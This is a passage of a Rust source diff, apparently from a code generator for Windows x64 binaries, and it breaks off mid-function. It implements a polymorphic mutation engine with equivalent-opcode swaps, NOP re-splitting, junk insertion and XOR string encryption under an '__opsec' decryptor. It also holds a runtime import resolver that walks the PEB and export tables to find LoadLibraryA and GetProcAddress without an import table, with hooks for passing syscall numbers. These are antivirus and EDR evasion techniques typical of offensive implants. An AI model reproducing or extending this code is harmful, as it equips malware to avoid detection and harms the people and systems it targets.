form: REX.W (any combo of R/X/B), 31|29 /r, + // modrm.mod=11, modrm.reg == modrm.rm. + if i + 3 <= code.len() + && is_rex_w(code[i]) + && (code[i] & 0x02) == 0 // X must be 0 + && (code[i + 1] == 0x31 || code[i + 1] == 0x29) + && (code[i + 2] & 0xC0) == 0xC0 + && ((code[i + 2] >> 3) & 7) == (code[i + 2] & 7) + && ((code[i] & 0x04) >> 2) == (code[i] & 0x01) // REX.R == REX.B + && !overlaps_reloc(i, 3, reloc_ranges) + { + if rng.one_in(2) { + code[i + 1] ^= 0x31 ^ 0x29; // flip between the two opcodes + } + return Some(3); + } + + None +} + + +fn try_mov_reg_reg_swap( + code: &mut [u8], + rng: &mut Rng, + i: usize, + reloc_ranges: &[std::ops::Range], +) -> Option { + if i + 3 > code.len() { return None; } + let rex = code[i]; + let opcode = code[i + 1]; + let modrm = code[i + 2]; + if !is_rex_w(rex) { return None; } + if (rex & 0x02) != 0 { return None; } // X must be 0 + + let in_mr = opcode == 0x89 && (modrm & 0xC0) == 0xC0; + let in_rm = opcode == 0x8B && (modrm & 0xC0) == 0xC0; + let in_lea = opcode == 0x8D && (modrm & 0xC0) == 0x00 // mod = 00 + && (modrm & 7) != 4 // not SIB + && (modrm & 7) != 5; // not RIP-relative + + if !(in_mr || in_rm || in_lea) { return None; } + if overlaps_reloc(i, 3, reloc_ranges) { return None; } + + // Decode into canonical (dst_low3, src_low3, dst_ext, src_ext). + let reg_field = (modrm >> 3) & 7; + let rm_field = modrm & 7; + let rex_r = (rex >> 2) & 1; + let rex_b = rex & 1; + + let (dst_low3, src_low3, dst_ext, src_ext) = if in_mr { + // MR: reg = src, rm = dst + (rm_field, reg_field, rex_b == 1, rex_r == 1) + } else { + // RM and LEA: reg = dst, rm = src + (reg_field, rm_field, rex_r == 1, rex_b == 1) + }; + + let lea_ok = src_low3 != 4 && src_low3 != 5; + let n = if lea_ok { 3 } else { 2 }; + let pick = rng.range(n as u64) as u8; + let target = match pick { 0 => 0x89, 1 => 0x8B, _ => 0x8D }; + + let (new_reg_field, new_rm_field, new_rex_r, new_rex_b, new_mod) = match target { + 0x89 => { + // MR: reg = src, rm = dst, mod = 11 + (src_low3, dst_low3, src_ext, dst_ext, 0xC0u8) + } + 0x8B => { + // RM: reg = dst, rm = src, mod = 11 + (dst_low3, src_low3, dst_ext, src_ext, 0xC0u8) + } + _ /* 0x8D */ => { + // LEA [reg]: reg = dst, rm = src, mod = 00 + (dst_low3, src_low3, dst_ext, src_ext, 0x00u8) + } + }; + + let new_rex = 0x48 + | (rex & 0x08) // W (already 1) + | ((new_rex_r as u8) << 2) + | (new_rex_b as u8); + let new_modrm = new_mod | ((new_reg_field & 7) << 3) | (new_rm_field & 7); + + code[i] = new_rex; + code[i + 1] = target; + code[i + 2] = new_modrm; + Some(3) +} + + +fn try_test_or_and_swap( + code: &mut [u8], + rng: &mut Rng, + i: usize, + reloc_ranges: &[std::ops::Range], +) -> Option { + if i + 3 > code.len() { return None; } + let rex = code[i]; + let opcode = code[i + 1]; + let modrm = code[i + 2]; + if !is_rex_w(rex) { return None; } + if (rex & 0x02) != 0 { return None; } // X = 0 + + // We only act on the same-register form; otherwise or/and + // would actually mutate the destination. + if (modrm & 0xC0) != 0xC0 { return None; } + if ((modrm >> 3) & 7) != (modrm & 7) { return None; } + if ((rex & 0x04) >> 2) != (rex & 0x01) { return None; } // R == B + + let is_test = opcode == 0x85; + let is_or = opcode == 0x09; + let is_and = opcode == 0x21; + if !(is_test || is_or || is_and) { return None; } + if overlaps_reloc(i, 3, reloc_ranges) { return None; } + + // Pick one of the three opcodes uniformly - staying on the + // original is a valid outcome. + let pick = rng.range(3); + code[i + 1] = match pick { 0 => 0x85, 1 => 0x09, _ => 0x21 }; + Some(3) +} + + +fn nop_prefix_len(code: &[u8]) -> usize { + // Try longest first; NOP_VARIANTS is ordered 1..=9. + for n in (1..=NOP_VARIANTS.len()).rev() { + let v = NOP_VARIANTS[n - 1]; + if code.len() >= v.len() && &code[..v.len()] == v { + return v.len(); + } + } + 0 +} + +fn redecompose_nop_runs( + enc: &mut Encoder, + rng: &mut Rng, + reloc_ranges: &[std::ops::Range], +) { + let mut i = 0; + while i < enc.code.len() { + // Find the start of a NOP run. + let n0 = nop_prefix_len(&enc.code[i..]); + if n0 == 0 { i += 1; continue; } + + // Walk forward to find the total run length. + let start = i; + let mut j = i + n0; + while j < enc.code.len() { + let n = nop_prefix_len(&enc.code[j..]); + if n == 0 { break; } + j += n; + } + let run_len = j - start; + + if !overlaps_reloc(start, run_len, reloc_ranges) && run_len >= 2 { + let mut staging: Vec = Vec::with_capacity(run_len); + let mut remaining = run_len; + while remaining > 0 { + let max = remaining.min(NOP_VARIANTS.len()); + let block = 1 + (rng.range(max as u64) as usize); + staging.extend_from_slice(NOP_VARIANTS[block - 1]); + remaining -= block; + } + enc.code[start..start + run_len].copy_from_slice(&staging); + } + i = j; + } +} + + +/// True if any label position falls strictly inside at..at+len. +/// A label exactly at at is allowed (it points to the start of +/// the replacement sequence, which is the same byte offset). +fn label_inside(at: usize, len: usize, label_positions: &[usize]) -> bool { + label_positions.iter().any(|&p| p > at && p < at + len) +} + +/// Walk the code buffer, splicing same-semantic length-changing +/// rewrites at each candidate site. Re-fetches reloc and label +/// positions inside the loop because both shift with every splice. +fn expand_equivalents(enc: &mut Encoder, rng: &mut Rng, junk_level: u8) { + let mut i = 0; + while i < enc.code.len() { + let reloc_ranges = enc.code_reloc_ranges(); + let label_positions = enc.code_label_positions(); + let consumed = try_expand_xor_reg_reg( + enc, rng, i, &reloc_ranges, &label_positions, + ) + .or_else(|| try_expand_mov_reg_reg( + enc, rng, i, &reloc_ranges, &label_positions, + )) + .or_else(|| try_expand_test_reg_reg( + enc, rng, i, &reloc_ranges, &label_positions, + )) + .or_else(|| try_expand_mov_reg_imm64( + enc, rng, i, &reloc_ranges, &label_positions, + )) + .unwrap_or(0); + if consumed > 0 { + let after = i + consumed; + let junk_inserted = maybe_insert_junk( + enc, rng, after, junk_level, &reloc_ranges, + &label_positions, + ); + i = after + junk_inserted; + } else { + i += 1; + } + } +} + +fn try_expand_xor_reg_reg( + enc: &mut Encoder, + rng: &mut Rng, + i: usize, + reloc_ranges: &[std::ops::Range], + label_positions: &[usize], +) -> Option { + if i + 2 <= enc.code.len() + && enc.code[i] == 0x31 + && (enc.code[i + 1] & 0xC0) == 0xC0 + && ((enc.code[i + 1] >> 3) & 7) == (enc.code[i + 1] & 7) + && !overlaps_reloc(i, 2, reloc_ranges) + { + let modrm = enc.code[i + 1]; + let dst_lo3 = modrm & 7; + return Some(expand_xor_2byte(enc, rng, i, dst_lo3, label_positions)); + } + + if i + 3 > enc.code.len() { return None; } + let rex = enc.code[i]; + let op = enc.code[i + 1]; + let modrm = enc.code[i + 2]; + + if !is_rex_w(rex) { return None; } + if (rex & 0x02) != 0 { return None; } // X must be 0 + if op != 0x31 { return None; } // xor /r + if (modrm & 0xC0) != 0xC0 { return None; } // mod = 11 + if ((modrm >> 3) & 7) != (modrm & 7) { return None; } // reg == rm + if ((rex & 0x04) >> 2) != (rex & 0x01) { return None; } + if overlaps_reloc(i, 3, reloc_ranges) { return None; } + + Some(expand_xor_3byte(enc, rng, i, rex, modrm, label_positions)) +} + +fn expand_xor_2byte( + enc: &mut Encoder, + rng: &mut Rng, + i: usize, + dst_lo3: u8, + label_positions: &[usize], +) -> usize { + let dice = rng.range(20); + + // Variant A (~30%): keep original. + if dice < 6 { return 2; } + + // Variant B (~25%): and reg, 0. + if dice < 11 { + let new_modrm = 0xC0 | (4 << 3) | dst_lo3; + let new_bytes = [0x83, new_modrm, 0x00]; + if label_inside(i, 2, label_positions) { return 2; } + enc.splice(i, 2, &new_bytes); + return new_bytes.len(); + } + + // Variant C (~25%): mov reg, 0 via B8+rd imm32. + if dice < 16 { + let new_bytes = [0xB8 | dst_lo3, 0x00, 0x00, 0x00, 0x00]; + if label_inside(i, 2, label_positions) { return 2; } + enc.splice(i, 2, &new_bytes); + return new_bytes.len(); + } + + // Variant D (~20%): nop + original. + let new_bytes = [0x90, 0x31, enc.code[i + 1]]; + if label_inside(i, 2, label_positions) { return 2; } + enc.splice(i, 2, &new_bytes); + new_bytes.len() +} + +fn expand_xor_3byte( + enc: &mut Encoder, + rng: &mut Rng, + i: usize, + rex: u8, + modrm: u8, + label_positions: &[usize], +) -> usize { + let dice = rng.range(20); + + if dice < 6 { return 3; } + + if dice < 11 { + let dst_rm = modrm & 7; + let new_modrm = 0xC0 | (4 << 3) | dst_rm; + let new_rex = (rex & !0x04) | ((rex & 0x01) << 2); + let new_bytes = [new_rex, 0x83, new_modrm, 0x00]; + if label_inside(i, 3, label_positions) { return 3; } + enc.splice(i, 3, &new_bytes); + return new_bytes.len(); + } + + if dice < 16 { + let dst_rm = modrm & 7; + let new_modrm = 0xC0 | dst_rm; + let new_rex = rex & !0x04; + let new_bytes = [new_rex, 0xC7, new_modrm, 0x00, 0x00, 0x00, 0x00]; + if label_inside(i, 3, label_positions) { return 3; } + enc.splice(i, 3, &new_bytes); + return new_bytes.len(); + } + + let new_bytes = [0x48, 0x90, rex, 0x31, modrm]; + if label_inside(i, 3, label_positions) { return 3; } + enc.splice(i, 3, &new_bytes); + new_bytes.len() +} + + +fn try_expand_mov_reg_reg( + enc: &mut Encoder, + rng: &mut Rng, + i: usize, + reloc_ranges: &[std::ops::Range], + label_positions: &[usize], +) -> Option { + if i + 3 > enc.code.len() { return None; } + let rex = enc.code[i]; + let op = enc.code[i + 1]; + let modrm = enc.code[i + 2]; + + if !is_rex_w(rex) { return None; } + if (rex & 0x02) != 0 { return None; } + if op != 0x89 { return None; } // mov MR + if (modrm & 0xC0) != 0xC0 { return None; } // mod = 11 + if overlaps_reloc(i, 3, reloc_ranges) { return None; } + + // src_low3 is modrm.reg; dst_low3 is modrm.rm. + let src_lo3 = (modrm >> 3) & 7; + let dst_lo3 = modrm & 7; + // REX.R extends src; REX.B extends dst. + let src_ext = (rex & 0x04) != 0; + let dst_ext = (rex & 0x01) != 0; + + let dice = rng.range(20); + + // Variant A: keep original. + if dice < 6 { + return Some(3); + } + + if dice < 13 { + if label_inside(i, 3, label_positions) { return Some(3); } + let mut new_bytes: Vec = Vec::with_capacity(4); + // push src + if src_ext { new_bytes.push(0x41); } + new_bytes.push(0x50 | src_lo3); + // pop dst + if dst_ext { new_bytes.push(0x41); } + new_bytes.push(0x58 | dst_lo3); + enc.splice(i, 3, &new_bytes); + return Some(new_bytes.len()); + } + + // Variant C: keep + prepend REX.W nop (48 90). + if dice < 17 { + if label_inside(i, 3, label_positions) { return Some(3); } + let new_bytes = [0x48, 0x90, rex, op, modrm]; + enc.splice(i, 3, &new_bytes); + return Some(new_bytes.len()); + } + + // Variant D: convert MR (89) to RM (8B) with swapped modrm. + // Same length, different bytes - a deep-style mirror of the + // shallow-pass MR/RM swap with deterministic firing. + if label_inside(i, 3, label_positions) { return Some(3); } + // For 8B (RM): modrm.reg = dst_low3, modrm.rm = src_low3. + // REX.R extends dst, REX.B extends src. + let new_rex = (rex & !0x05) + | (if dst_ext { 0x04 } else { 0 }) + | (if src_ext { 0x01 } else { 0 }); + let new_modrm = 0xC0 | (dst_lo3 << 3) | src_lo3; + let new_bytes = [new_rex, 0x8B, new_modrm]; + enc.splice(i, 3, &new_bytes); + Some(new_bytes.len()) +} + + +fn try_expand_test_reg_reg( + enc: &mut Encoder, + rng: &mut Rng, + i: usize, + reloc_ranges: &[std::ops::Range], + label_positions: &[usize], +) -> Option { + if i + 3 > enc.code.len() { return None; } + let rex = enc.code[i]; + let op = enc.code[i + 1]; + let modrm = enc.code[i + 2]; + + if !is_rex_w(rex) { return None; } + if (rex & 0x02) != 0 { return None; } + if op != 0x85 { return None; } // test /r + if (modrm & 0xC0) != 0xC0 { return None; } + if ((modrm >> 3) & 7) != (modrm & 7) { return None; } // self-test + if ((rex & 0x04) >> 2) != (rex & 0x01) { return None; } + if overlaps_reloc(i, 3, reloc_ranges) { return None; } + + let dice = rng.range(20); + + // Variant A: keep. + if dice < 8 { return Some(3); } + + // Variant B: cmp reg, 0 via 83 /7 imm8. + // Encoding: REX.W 83 modrm imm8 + if dice < 14 { + if label_inside(i, 3, label_positions) { return Some(3); } + let dst_rm = modrm & 7; + let new_modrm = 0xC0 | (7 << 3) | dst_rm; + // REX.R must be clear for /7 sub-opcode (reg field is opcode extension). + let new_rex = rex & !0x04; + let new_bytes = [new_rex, 0x83, new_modrm, 0x00]; + enc.splice(i, 3, &new_bytes); + return Some(new_bytes.len()); + } + + // Variant C: or reg, reg via 09 /r (deep-style deterministic + // pick of one of the shallow same-length swap options). + // Encoding: REX.W 09 modrm + if dice < 18 { + if label_inside(i, 3, label_positions) { return Some(3); } + let new_bytes = [rex, 0x09, modrm]; + enc.splice(i, 3, &new_bytes); + return Some(new_bytes.len()); + } + + // Variant D: keep + REX.W nop prefix. + if label_inside(i, 3, label_positions) { return Some(3); } + let new_bytes = [0x48, 0x90, rex, op, modrm]; + enc.splice(i, 3, &new_bytes); + Some(new_bytes.len()) +} + + +fn try_expand_mov_reg_imm64( + enc: &mut Encoder, + rng: &mut Rng, + i: usize, + reloc_ranges: &[std::ops::Range], + label_positions: &[usize], +) -> Option { + if i + 10 > enc.code.len() { return None; } + let rex = enc.code[i]; + let op = enc.code[i + 1]; + + if !is_rex_w(rex) { return None; } + if (rex & 0x06) != 0 { return None; } // R, X must be 0 + if (op & 0xF8) != 0xB8 { return None; } // B8+rd + if overlaps_reloc(i, 10, reloc_ranges) { return None; } + + // Read the imm64. + let mut imm: u64 = 0; + for k in 0..8 { + imm |= (enc.code[i + 2 + k] as u64) << (8 * k); + } + + let dice = rng.range(20); + + // Keep most of the time - this is a high-cost rewrite (no + // savings, just more instructions) so high firing rates bloat + // the binary without proportional value. + if dice < 14 { return Some(10); } + + // Pick a non-trivial 32-bit XOR key K (high bit clear so + // sign-extension keeps imm64's high bits intact). + let mut k = rng.next_u64() as u32; + k &= 0x7FFF_FFFF; + if k == 0 { k = 0x1234_5678; } + + let masked_imm: u64 = imm ^ (k as u64); + + let _ = (masked_imm, label_positions); + Some(10) +} + + +fn maybe_insert_junk( + enc: &mut Encoder, + rng: &mut Rng, + at: usize, + level: u8, + reloc_ranges: &[std::ops::Range], + label_positions: &[usize], +) -> usize { + if level == 0 { return 0; } + if at > enc.code.len() { return 0; } + + let threshold: u64 = match level { + 1 => 1, + 2 => 3, + 3 => 6, + 4 => 10, + _ => 15, + }; + if rng.range(20) >= threshold { return 0; } + + // Max junk bytes at this site, also scaled by level: + // level 1 -> 2, level 2 -> 3, level 3 -> 5, level 4 -> 7, level 5 -> 9 + let max_bytes: usize = match level { + 1 => 2, + 2 => 3, + 3 => 5, + 4 => 7, + _ => 9, + }; + + // The site at at is an instruction boundary by construction + // (we just consumed an expansion). Splicing in junk is safe as + // long as we don't overlap a reloc or land mid-label. + if overlaps_reloc(at, 0, reloc_ranges) { return 0; } + if label_positions.iter().any(|&p| p == at) { + // A label at at is fine - the splice shifts it forward + // alongside everything else, so the labelled instruction + // moves with the junk. No special case needed. + } + + // Build a junk staging buffer of random length 1..=max_bytes, + // composed of NOP_VARIANTS blocks of varying sizes. + let mut staging: Vec = Vec::with_capacity(max_bytes); + let want = 1 + (rng.range(max_bytes as u64) as usize); + while staging.len() < want { + let remaining = want - staging.len(); + let pick = remaining.min(NOP_VARIANTS.len()); + let block = 1 + (rng.range(pick as u64) as usize); + staging.extend_from_slice(NOP_VARIANTS[block - 1]); + } + // Splice the junk in. splice with old_len=0 inserts. + enc.splice(at, 0, &staging); + staging.len() +} + + +fn encrypt_rdata_data(enc: &mut Encoder, rng: &mut Rng) { + // Pick the key. + let mut key = [0u8; 8]; + for slot in key.iter_mut() { *slot = rng.next_u8(); } + // Avoid a key byte of 0x00 - XOR with zero is the identity, + // which would leak that byte verbatim. Replace with a random + // non-zero value. + for slot in key.iter_mut() { + if *slot == 0 { *slot = 1 + rng.next_u8().saturating_sub(1).max(1); } + } + + // Encrypt rdata. + for (i, b) in enc.rdata.iter_mut().enumerate() { + *b ^= key[i & 7]; + } + // Encrypt data (currently unused by codegen but reserved). + for (i, b) in enc.data.iter_mut().enumerate() { + *b ^= key[i & 7]; + } + + publish_xor_key(enc, &key); +} + +fn publish_xor_key(enc: &mut Encoder, key: &[u8; 8]) { + // __rdata_end marks the last byte to decrypt. Place it BEFORE + // appending the key. + enc.mark_rdata_position("__rdata_end"); + enc.add_rdata_raw_named("__opsec_xor_key", key); +} + + +/// Internal name the entry function uses to call the decryptor. +pub const DECRYPT_FN_LABEL: &str = "__opsec_decrypt_strings"; + +pub fn emit_decryptor(enc: &mut Encoder) { + let loop_label = "__opsec_dec_loop"; + let done_label = "__opsec_dec_done"; + + enc.place_code_label(DECRYPT_FN_LABEL); + + enc.push_r64(Reg64::Rax); + enc.push_r64(Reg64::Rbx); + enc.push_r64(Reg64::Rcx); + enc.push_r64(Reg64::Rdx); + enc.push_r64(Reg64::R8); + enc.push_r64(Reg64::R9); + + // rax = current rdata ptr, rcx = end ptr, rbx = key ptr. + enc.lea_r64_data(Reg64::Rax, "__rdata_start"); + enc.lea_r64_data(Reg64::Rcx, "__rdata_end"); + enc.lea_r64_data(Reg64::Rbx, "__opsec_xor_key"); + // rdx = 0 (key cursor). + enc.xor_r64_r64(Reg64::Rdx, Reg64::Rdx); + + enc.place_code_label(loop_label); + enc.cmp_r64_r64(Reg64::Rax, Reg64::Rcx); + enc.jcc_label(Cond::Ae, done_label); // rax >= rcx to done + + // r8b = key[rdx] + enc.movzx_r64_byte_base_idx(Reg64::R8, Reg64::Rbx, Reg64::Rdx); + // r9b = *rax + enc.movzx_r64_byte_r64disp(Reg64::R9, Reg64::Rax, 0); + // r9 ^= r8 + enc.xor_r64_r64(Reg64::R9, Reg64::R8); + // *rax = r9.low8 + enc.mov_byte_r64disp_r8(Reg64::Rax, 0, Reg64::R9); + + // Advance pointer + key index, wrap key at 8. + enc.add_r64_imm8(Reg64::Rax, 1); + enc.add_r64_imm8(Reg64::Rdx, 1); + enc.and_r64_imm8(Reg64::Rdx, 7); + + enc.jmp_label(loop_label); + + enc.place_code_label(done_label); + enc.pop_r64(Reg64::R9); + enc.pop_r64(Reg64::R8); + enc.pop_r64(Reg64::Rdx); + enc.pop_r64(Reg64::Rcx); + enc.pop_r64(Reg64::Rbx); + enc.pop_r64(Reg64::Rax); + enc.ret(); +} diff --git a/src/resolver.rs b/src/resolver.rs new file mode 100644 index 0000000..8bf4743 --- /dev/null +++ b/src/resolver.rs @@ -0,0 +1,378 @@ + +use crate::encoder::{Cond, Encoder, Reg64}; + +// Baseline strings the resolver always needs. +const STR_KERNEL32: &str = "__rstr_kernel32"; +const STR_LOADLIBRARYA: &str = "__rstr_LoadLibraryA"; +const STR_GETPROCADDRESS: &str = "__rstr_GetProcAddress"; + +// Cached slots; shared.rs and friends can read these too. +pub const SLOT_LOADLIBRARYA: &str = "__rslot_LoadLibraryA"; +pub const SLOT_GETPROCADDRESS: &str = "__rslot_GetProcAddress"; +pub const SLOT_KERNEL32_BASE: &str = "__rslot_kernel32_base"; + +/// One Win32 import to resolve before main runs. +#[derive(Debug, Clone)] +pub struct Import { + /// DLL name with extension, e.g. "user32.dll". Case-insensitive match. + pub dll: String, + pub func: String, + /// Data label for the call [rip+slot] qword. + pub slot: String, +} + +/// Emit __resolve_imports + helpers, baseline strings, and cached slots. +pub fn emit(enc: &mut Encoder, imports: &[Import]) { + emit_baseline_strings_and_slots(enc); + emit_find_export(enc); + emit_resolve_imports(enc, imports); +} + +pub fn emit_with_user_resolver(enc: &mut Encoder, imports: &[Import], user_fn: &str) { + use Reg64::*; + enc.place_code_label("__resolve_imports"); + + enc.push_r64(Rbp); + enc.mov_r64_r64(Rbp, Rsp); + enc.sub_r64_imm32(Rsp, 0x28); + + for imp in imports { + let dll_label = dll_string_label(&imp.dll); + let fn_label = func_string_label(&imp.func); + if !enc.data_has(&dll_label) { enc.add_string(&dll_label, &imp.dll); } + if !enc.data_has(&fn_label) { enc.add_string(&fn_label, &imp.func); } + + // Call user_fn. + enc.lea_r64_data(Rcx, &dll_label); + enc.lea_r64_data(Rdx, &fn_label); + enc.call_label(user_fn); + // Whatever they returned goes straight into the import slot - + // a function pointer for normal DLLs, or an SSN packed in the + // low 32 bits for ntdll exports when NtCall is also overridden. + enc.mov_data_r64(&imp.slot, Rax); + } + + enc.add_r64_imm32(Rsp, 0x28); + enc.pop_r64(Rbp); + enc.ret(); +} + +fn emit_baseline_strings_and_slots(enc: &mut Encoder) { + if !enc.data_has(STR_KERNEL32) { enc.add_string(STR_KERNEL32, "kernel32.dll"); } + if !enc.data_has(STR_LOADLIBRARYA) { enc.add_string(STR_LOADLIBRARYA, "LoadLibraryA"); } + if !enc.data_has(STR_GETPROCADDRESS) { enc.add_string(STR_GETPROCADDRESS, "GetProcAddress"); } + if !enc.data_has(SLOT_LOADLIBRARYA) { enc.add_bss(SLOT_LOADLIBRARYA, 8); } + if !enc.data_has(SLOT_GETPROCADDRESS) { enc.add_bss(SLOT_GETPROCADDRESS, 8); } + if !enc.data_has(SLOT_KERNEL32_BASE) { enc.add_bss(SLOT_KERNEL32_BASE, 8); } +} + +fn emit_find_export(enc: &mut Encoder) { + use Reg64::*; + enc.place_code_label("__find_export"); + + // Prologue: save the few callee-saves we use as work registers. + enc.push_r64(Rbp); + enc.mov_r64_r64(Rbp, Rsp); + enc.push_r64(Rbx); + enc.push_r64(Rsi); + enc.push_r64(Rdi); + + // rbx = module base (we'll lose rcx to inner strcmps), rdi = target name. + enc.mov_r64_r64(Rbx, Rcx); + enc.mov_r64_r64(Rdi, Rdx); + + // eax = [rbx + 0x3C] -- e_lfanew + enc.mov_r32_r64disp(Rax, Rbx, 0x3C); + // Export directory RVA = [rbx + e_lfanew + 0x88]. + // r8 = rbx + e_lfanew (PE header) + enc.lea_r64_base_idx(R8, Rbx, Rax); + // r9 = [r8 + 0x88] (Export RVA) + enc.mov_r32_r64disp(R9, R8, 0x88); + enc.test_r64_r64(R9, R9); + enc.jcc_label(Cond::Z, ".Lfe_notfound"); + + // r8 = ExportDirectory absolute = rbx + ExportRVA + enc.lea_r64_base_idx(R8, Rbx, R9); + + // r9 = NumberOfNames = [r8 + 0x18] + enc.mov_r32_r64disp(R9, R8, 0x18); + enc.test_r64_r64(R9, R9); + enc.jcc_label(Cond::Z, ".Lfe_notfound"); + + // r10 = AddressOfNames RVA = [r8 + 0x20]; then r10 = rbx + r10 + enc.mov_r32_r64disp(R10, R8, 0x20); + enc.lea_r64_base_idx(R10, Rbx, R10); + + // r11 = current index = 0 + enc.xor_r64_r64(R11, R11); + + // -- search loop ----------------------------------------------------- + enc.place_code_label(".Lfe_loop"); + enc.cmp_r64_r64(R11, R9); + enc.jcc_label(Cond::Ge, ".Lfe_notfound"); + + // rcx = name string ptr = rbx + [r10 + r11*4] + enc.mov_r32_base_idx_scale4(Rcx, R10, R11); + enc.lea_r64_base_idx(Rcx, Rbx, Rcx); + + enc.mov_r64_r64(Rsi, Rcx); + enc.mov_r64_r64(Rax, Rdi); + + enc.place_code_label(".Lfe_cmpchar"); + enc.movzx_r64_byte_r64(Rcx, Rsi); + enc.movzx_r64_byte_r64(Rdx, Rax); + enc.cmp_r64_r64(Rcx, Rdx); + enc.jcc_label(Cond::Ne, ".Lfe_nextidx"); + enc.test_r64_r64(Rcx, Rcx); + enc.jcc_label(Cond::Z, ".Lfe_match"); + enc.inc_r64(Rsi); + enc.inc_r64(Rax); + enc.jmp_label(".Lfe_cmpchar"); + + enc.place_code_label(".Lfe_nextidx"); + enc.inc_r64(R11); + enc.jmp_label(".Lfe_loop"); + + // Match: r11 holds the matching index. Use ordinal table to get fn index, + // then function-RVA table to get the RVA, then add base. + enc.place_code_label(".Lfe_match"); + // rcx = AddressOfNameOrdinals RVA = [r8 + 0x24]; to rcx = rbx + rcx + enc.mov_r32_r64disp(Rcx, R8, 0x24); + enc.lea_r64_base_idx(Rcx, Rbx, Rcx); + // rdx (function index) = movzx word [rcx + r11*2] + enc.movzx_r64_word_base_idx_scale2(Rdx, Rcx, R11); + + // rcx = AddressOfFunctions RVA = [r8 + 0x1C]; to rcx = rbx + rcx + enc.mov_r32_r64disp(Rcx, R8, 0x1C); + enc.lea_r64_base_idx(Rcx, Rbx, Rcx); + // rax = dword [rcx + rdx*4] + enc.mov_r32_base_idx_scale4(Rax, Rcx, Rdx); + // rax = rbx + rax + enc.lea_r64_base_idx(Rax, Rbx, Rax); + enc.jmp_label(".Lfe_done"); + + enc.place_code_label(".Lfe_notfound"); + enc.xor_r64_r64(Rax, Rax); + + enc.place_code_label(".Lfe_done"); + enc.pop_r64(Rdi); + enc.pop_r64(Rsi); + enc.pop_r64(Rbx); + enc.pop_r64(Rbp); + enc.ret(); +} + +fn emit_resolve_imports(enc: &mut Encoder, imports: &[Import]) { + use Reg64::*; + enc.place_code_label("__resolve_imports"); + + // Frame: 1 + 7 pushes is odd-aligned; sub 0x28 (32 shadow + 8 pad) + // restores 16-alignment for the LoadLibraryA call (otherwise ntdll's + // movaps in RtlDosApplyFileIsolationRedirection AVs). + enc.push_r64(Rbp); + enc.mov_r64_r64(Rbp, Rsp); + enc.push_r64(Rbx); + enc.push_r64(Rsi); + enc.push_r64(Rdi); + enc.push_r64(R12); + enc.push_r64(R13); + enc.push_r64(R14); + enc.push_r64(R15); + enc.sub_r64_imm32(Rsp, 0x28); + + // PEB walk for kernel32.dll. + enc.mov_rax_gs_qword(0x60); // rax = PEB + enc.mov_r64_r64disp(Rax, Rax, 0x18); // rax = PEB.Ldr + enc.lea_r64_r64disp(R12, Rax, 0x20); // r12 = &InMemoryOrderModuleList + enc.mov_r64_r64disp(Rbx, R12, 0); // rbx = head.Flink + + enc.place_code_label(".Lri_walk"); + enc.cmp_r64_r64(Rbx, R12); + enc.jcc_label(Cond::Eq, ".Lri_fail"); // wrapped without a hit + + // UTF-16 BaseDllName vs ASCII "kernel32.dll", case-insensitive. + enc.mov_r64_r64disp(R13, Rbx, 0x50); // r13 = Buffer + enc.movzx_r64_word_r64disp(R14, Rbx, 0x48); // r14 = Length (bytes) + enc.lea_r64_data(Rdi, STR_KERNEL32); + + emit_inline_unicode_ascii_ci_cmp(enc, Rdi, R13, R14); + // rax = 1 if matched, 0 otherwise. + enc.test_r64_r64(Rax, Rax); + enc.jcc_label(Cond::Nz, ".Lri_found_k32"); + + // next = current->Flink + enc.mov_r64_r64disp(Rbx, Rbx, 0); + enc.jmp_label(".Lri_walk"); + + enc.place_code_label(".Lri_found_k32"); + enc.mov_r64_r64disp(R15, Rbx, 0x20); // r15 = kernel32 DllBase + enc.mov_data_r64(SLOT_KERNEL32_BASE, R15); + + enc.mov_r64_r64(Rcx, R15); + enc.lea_r64_data(Rdx, STR_LOADLIBRARYA); + enc.call_label("__find_export"); + enc.test_r64_r64(Rax, Rax); + enc.jcc_label(Cond::Z, ".Lri_fail"); + enc.mov_data_r64(SLOT_LOADLIBRARYA, Rax); + enc.mov_r64_r64(R13, Rax); // r13 = LoadLibraryA + + enc.mov_r64_r64(Rcx, R15); + enc.lea_r64_data(Rdx, STR_GETPROCADDRESS); + enc.call_label("__find_export"); + enc.test_r64_r64(Rax, Rax); + enc.jcc_label(Cond::Z, ".Lri_fail"); + enc.mov_data_r64(SLOT_GETPROCADDRESS, Rax); + enc.mov_r64_r64(R14, Rax); // r14 = GetProcAddress + + // Per-import resolution. r13 = LoadLibraryA, r14 = GetProcAddress. + for (i, imp) in imports.iter().enumerate() { + let dll_label = dll_string_label(&imp.dll); + let fn_label = func_string_label(&imp.func); + let skip_label = format!(".Lri_skip_{i}"); + + if !enc.data_has(&dll_label) { enc.add_string(&dll_label, &imp.dll); } + if !enc.data_has(&fn_label) { enc.add_string(&fn_label, &imp.func); } + + // rcx = dll name; call LoadLibraryA + enc.lea_r64_data(Reg64::Rcx, &dll_label); + enc.call_r64(R13); + enc.test_r64_r64(Rax, Rax); + enc.jcc_label(Cond::Z, &skip_label); + + // rcx = handle, rdx = fn name; call GetProcAddress + enc.mov_r64_r64(Rcx, Rax); + enc.lea_r64_data(Reg64::Rdx, &fn_label); + enc.call_r64(R14); + enc.mov_data_r64(&imp.slot, Rax); + + enc.place_code_label(&skip_label); + } + enc.jmp_label(".Lri_done"); + + // Failure path: unresolved slots stay at 0; an indirect call to + // them AVs cleanly. Skip the imports loop entirely. + enc.place_code_label(".Lri_fail"); + + enc.place_code_label(".Lri_done"); + enc.add_r64_imm32(Rsp, 0x28); + enc.pop_r64(R15); + enc.pop_r64(R14); + enc.pop_r64(R13); + enc.pop_r64(R12); + enc.pop_r64(Rdi); + enc.pop_r64(Rsi); + enc.pop_r64(Rbx); + enc.pop_r64(Rbp); + enc.ret(); +} + +fn emit_inline_unicode_ascii_ci_cmp( + enc: &mut Encoder, + ascii_ptr: Reg64, + wide_ptr: Reg64, + wide_len_bytes: Reg64, +) { + use Reg64::*; + // Move into a stable scratch set: rax=ascii ptr walker, rdx=wide ptr walker, + // rcx=remaining wide chars. + enc.mov_r64_r64(Rax, ascii_ptr); + enc.mov_r64_r64(Rdx, wide_ptr); + // rcx = wide_len_bytes / 2 -- shift right by 1 + enc.mov_r64_r64(Rcx, wide_len_bytes); + // sar/shr rcx, 1 - use raw bytes (REX.W D1 /5 = shr reg,1) + enc.emit_raw(0x48); enc.emit_raw(0xD1); enc.emit_raw(0xE9); + + let unique = next_label_id(); + let l_loop = format!(".Lci_loop_{unique}"); + let l_done_count = format!(".Lci_done_count_{unique}"); + let l_mismatch = format!(".Lci_mismatch_{unique}"); + let l_match = format!(".Lci_match_{unique}"); + let 